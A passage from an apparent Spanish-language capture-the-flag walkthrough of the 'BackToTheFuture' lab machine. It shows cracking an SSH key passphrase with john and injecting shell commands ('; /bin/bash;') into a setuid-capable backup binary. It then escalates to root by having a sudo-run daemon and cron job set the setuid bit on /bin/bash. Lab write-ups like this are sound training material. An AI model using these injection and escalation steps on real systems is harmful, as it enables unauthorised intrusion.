Tenemos el `id_rsa`, vamos a copiarlo en nuestra máquina y darle el permiso `600`:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ chmod 600 id_rsa
```

Al intentar emplear el `id_rsa` para iniciar como `marty` por el SSH, vemos que nos pide unas credenciales:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ ssh marty@192.168.44.133 -i id_rsa
Enter passphrase for key 'id_rsa':
```

Probando las encontradas anteriormente no funcionan, vamos a usar `ssh2john` para sacar el hash:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ ssh2john id_rsa > rsa_hash
```

Ahora con `john` vamos a intentar crackearlo:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ john -w=/usr/share/wordlists/rockyou.txt rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
metallica1       (id_rsa)
1g 0:00:01:35 DONE (2025-07-20 16:50) 0.01051g/s 50.82p/s 50.82c/s 50.82C/s 2222222..onelove1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Bien!! Ahora vamos a inciar como `marty`:

```bash
┌──(pylon㉿kali)-[~/Desktop/pylon/THL/BackToTheFuture]
└─$ ssh marty@192.168.44.133 -i id_rsa
Enter passphrase for key 'id_rsa':
Last login: Sun Jul 20 07:39:55 2025 from 192.168.44.128
-bash-5.2$ whoami
marty
-bash-5.2$
```

## Shell as docbrown

Bien!! Si volvemos a hacer un `ls -la` en el directorio de `marty` veremos otra cosa rara:

```bash
marty@hillvalley:~$ ls -la
total 56
drwxr-xr-x 7 marty    marty    4096 Jul 20 11:44 .
drwxr-xr-x 4 root     root     4096 Jul 12 15:49 ..
lrwxrwxrwx 1 root     root        9 Jul 13 16:50 .bash_history -> /dev/null
-rw-r--r-- 1 marty    marty     220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 marty    marty    3552 Jul 12 20:45 .bashrc
drwx------ 4 marty    marty    4096 Jul 12 20:28 .cache
drwxr-xr-x 3 marty    marty    4096 Jul 12 20:28 .config
-rw-r--r-- 1 marty    marty    5290 Jul 12  2023 .face
lrwxrwxrwx 1 marty    marty       5 Jul 12  2023 .face.icon -> .face
-rw-r--r-- 1 docbrown docbrown   80 Jul 12 21:19 .flux_notes
drwxr-xr-x 2 root     root     4096 Jul 12 19:48 ftp
drwxr-xr-x 4 marty    marty    4096 Jul 12 20:28 .local
-rw-r--r-- 1 marty    marty     807 Mar 29  2024 .profile
drwx------ 2 marty    marty    4096 Jul 14 20:16 .ssh
-rw-r--r-- 1 root     root       16 Jul 14 20:22 user.txt
```

Vemos el fichero `.flux_notes`, vamos a leerlo:

```bash
marty@hillvalley:~$ cat .flux_notes
Tiempos inestables... aún necesito arreglar el runner para la próxima prueba.
```

`runner`?.. No entiendo lo que queire decir, seguramente sea una pista. Vamos a intentar ver el `home` del usuario `docbrown`:

```bash
marty@hillvalley:~$ ls -la
total 88
drwxr-xr-x 15 docbrown docbrown 4096 Jul 15 10:45 .
drwxr-xr-x  4 root     root     4096 Jul 12 15:49 ..
lrwxrwxrwx  1 root     root        9 Jul 13 16:50 .bash_history -> /dev/null
-rw-r--r--  1 docbrown docbrown  220 Jul 11 22:04 .bash_logout
-rw-r--r--  1 docbrown docbrown 3662 Jul 12 20:23 .bashrc
drwx------ 10 docbrown docbrown 4096 Jul 11 22:27 .cache
drwx------  9 docbrown docbrown 4096 Jul 12 20:41 .config
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Desktop
drwxrwxrwx  2 docbrown docbrown 4096 Jul 12 20:49 docs
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Documents
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Downloads
-rw-r--r--  1 docbrown docbrown 5290 Jul 11 22:04 .face
lrwxrwxrwx  1 docbrown docbrown    5 Jul 11 22:04 .face.icon -> .face
-rw-r--r--  1 docbrown docbrown  110 Jul 13 14:10 .flux_hint
drwx------  4 docbrown docbrown 4096 Jul 11 22:08 .local
drwx------  4 docbrown docbrown 4096 Jul 11 22:27 .mozilla
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Music
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Pictures
-rw-r--r--  1 docbrown docbrown  807 Jul 11 22:04 .profile
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Public
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Templates
drwxr-xr-x  2 docbrown docbrown 4096 Jul 11 22:08 Videos
-rw-------  1 docbrown docbrown  817 Jul 13 12:52 .viminfo
```

Vemos el fichero `.flux_hint`, vamos a leerlo:

```bash
marty@hillvalley:~$ cat .flux_hint
He estado trabajando en una nueva forma de sincronizar los scripts del sistema. Cada minuto... como un reloj.
```

Vemos que comenta un supuesto script que se ejecuta cada minuto, vamos a usar [pspy](https://github.com/DominicBreuker/pspy/releases):

```bash
marty@hillvalley:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/07/20 11:55:32 CMD: UID=1001  PID=1713   | ./pspy64
2025/07/20 11:55:32 CMD: UID=1001  PID=1686   | bash
[..]
2025/07/20 11:56:01 CMD: UID=0     PID=1722   | /bin/sh -c /usr/local/bin/flux_admin.sh
2025/07/20 11:56:01 CMD: UID=0     PID=1723   | /bin/sh /usr/local/bin/flux_admin.sh
```

Vemos un script llamado `flux_admin.sh`, vamos a hacer un `ls -l` para ver que permisos tiene:

```bash
marty@hillvalley:~$ ls -l /usr/local/bin/
total 36
-rwxr-xr-x 1 root root 16200 Jul 12 20:49 backup_runner
-rwxr-xr-x 1 root root    20 Jul 20 07:52 flux_admin.sh
-rwx------ 1 root root 16296 Jul 14 20:44 time_daemon
```

Vemos varios scripts… ejecutandolos no consigo gran cosa. Vamos a usar [linPEAS](https://github.com/peass-ng/PEASS-ng):

```bash
marty@hillvalley:~$ ./linpeas.sh
[..]
/usr/local/bin/backup_runner cap_setuid=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
[..]
```

Vemos que el binario `backup_runner` tiene `cap_setuid=ep`, vamos a intentar a busar de el. Vamos a ejecutarlo a ver que ocurre:

```bash
marty@hillvalley:~$ /usr/local/bin/backup_runner
Usage: backup_runner <filename>
```

Vemos que solicita que añadamos otro campo, en este caso un archivo. Y si intento ejecutar un comando ahí?

{% code title="Payload" %}

```bash
"; whoami;"
```

{% endcode %}

Vamos a probarlo:

```bash
marty@hillvalley:~$ /usr/local/bin/backup_runner "; whoami;"
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
docbrown
sh: 1: -backup.tar.gz: not found
```

Vemos que ahí se ejecutó el `whoami` dando como resultado `docbrownp`, vamos a darnos una `bash`:

```bash
marty@hillvalley:~$ /usr/local/bin/backup_runner "; /bin/bash;"
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
docbrown@hillvalley:~$ whoami
docbrown
```

## Shell as root

Vamos a ver si el usuario `docbrown` tiene algún permiso SUDOERS:

```bash
docbrown@hillvalley:~$ sudo -l
Matching Defaults entries for docbrown on hillvaley:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User docbrown may run the following commands on hillvaley:
    (root) NOPASSWD: /usr/local/bin/time_daemon
```

Vamos a ejecutarlo a ver que ocurre:

```bash
docbrown@hillvalley:~$ sudo /usr/local/bin/time_daemon
[FLUX] No existe el archivo /tmp/sync: No such file or directory
```

Vemos que intenta apuntar a un archivo llamado `sync` en el directorio `/tmp/` lo vamos a crear y dentro intentaremos dar permisos `suid` a `/bin/bash`:

{% code title="/tmp/sync" %}

```bash
echo "chmod u+s /bin/bash" > /tmp/sync
```

{% endcode %}

Ahora vamos a ejecutar `time_daemon`:

```bash
docbrown@hillvalley:~$ sudo /usr/local/bin/time_daemon
[88MPH] Sincronización completada. Listo para viajar.
```

Ahora esperaremos un rato ya que hay una tarea cron configurada que ejecuta el script indicado como `root`. Después de esperar un rato si hacemos un `ls -la` a `/bin/bash` veremos lo siguiente:

```bash
docbrown@hillvalley:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 18 19:47 /bin/bash
```

Ahora solo iniciaremos una `bash` como privilegiado `(-p)`:

```bash
docbrown@hillvalley:~$ bash -p
bash-5.2# whoami
root
```

root! ;)

***
